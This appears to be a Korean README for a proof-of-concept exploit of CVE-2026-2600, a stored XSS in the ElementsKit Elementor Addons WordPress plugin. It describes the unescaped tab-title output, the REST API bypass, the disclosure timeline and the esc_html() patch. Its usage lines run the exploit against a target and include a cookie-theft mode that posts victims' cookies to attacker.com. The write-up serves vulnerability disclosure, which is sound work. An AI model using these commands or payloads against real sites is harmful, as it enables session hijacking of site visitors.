
# CVE-2026-2600 PoC 익스플로잇 ElementsKit Elementor Addons <= 3.7.9의 저장형 XSS 취약점에 대한 개념 증명 익스플로잇으로, 인증된 Contributors가 조작된 Elementor 데이터를 통해 임의 스크립트를 주입할 수 있게 합니다.
| CVSS | 6.4 MEDIUM |
| 영향 범위 | <= 3.7.9 |
| 패치 버전 | 3.8.0 |
| 최소 권한 | Contributor (edit_posts) |
| 공격 벡터 | 네트워크 / 낮은 복잡도 / 낮은 권한 |
Simple Tab 위젯은 탭 제목을 echo된 HTML로 렌더링하지만 출력 이스케이프 처리가 없습니다. widgets/tab/tab.php에서 렌더링 루프는 다음과 같이 동작합니다:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
Elementor 편집기는 클라이언트 측에서 입력을 검증하지만, REST API 엔드포인트(/wp-json/wp/v2/posts/{id})는 _elementor_data 메타 필드를 직접 수락하여 해당 계층을 완전히 우회합니다.
인증된 Contributor는 ekit_tab_title을 임의의 HTML로 설정하는 조작된 Elementor JSON 페이로드로 게시물을 PATCH할 수 있습니다. 값이 _elementor_data에 그대로 저장되고 렌더링 시 esc_html() 없이 출력되므로, 페이지가 로드될 때 모든 방문자의 브라우저에서 스크립트가 실행됩니다.
모든 Contributor는 다음을 수행할 수 있습니다:
공개 시점 기준 40만 개 이상의 활성 설치가 영향을 받았습니다.
pip install requests
python3 poc.py https://target.com contributor p4ss
이 스크립트는 HTTP로 인증하고, 관리자 편집기에서 REST nonce를 가져오며, 초안 게시물을 생성하고, ekit_tab_title 필드에 XSS 페이로드가 포함된 _elementor_data를 PATCH한 후 게시물을 게시합니다. 출력을 통해 페이로드가 페이지 소스에 활성화되어 있는지 확인할 수 있습니다.
# 사용자 정의 페이로드
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# 콜백을 통한 쿠키 탈취
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# 대화형 콘솔 모드
python3 console_poc.py
| 날짜 | 이벤트 |
|---|---|
| 2026년 1월 | SVN diff 검토를 통해 발견. PoC 확인. |
| 2026년 1월 | 전체 분석 문서 및 PoC와 함께 Patchstack Alliance에 신고. |
| 2026년 3월 | Wpmet이 v3.8.0에서 수정 사항 배포. |
| 2026년 4월 | CVE-2026-2600 공개. CVSS 6.4 MEDIUM 지정. |
Wpmet은 widgets/tab/tab.php의 탭 제목 출력에 esc_html()을 추가했습니다:
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';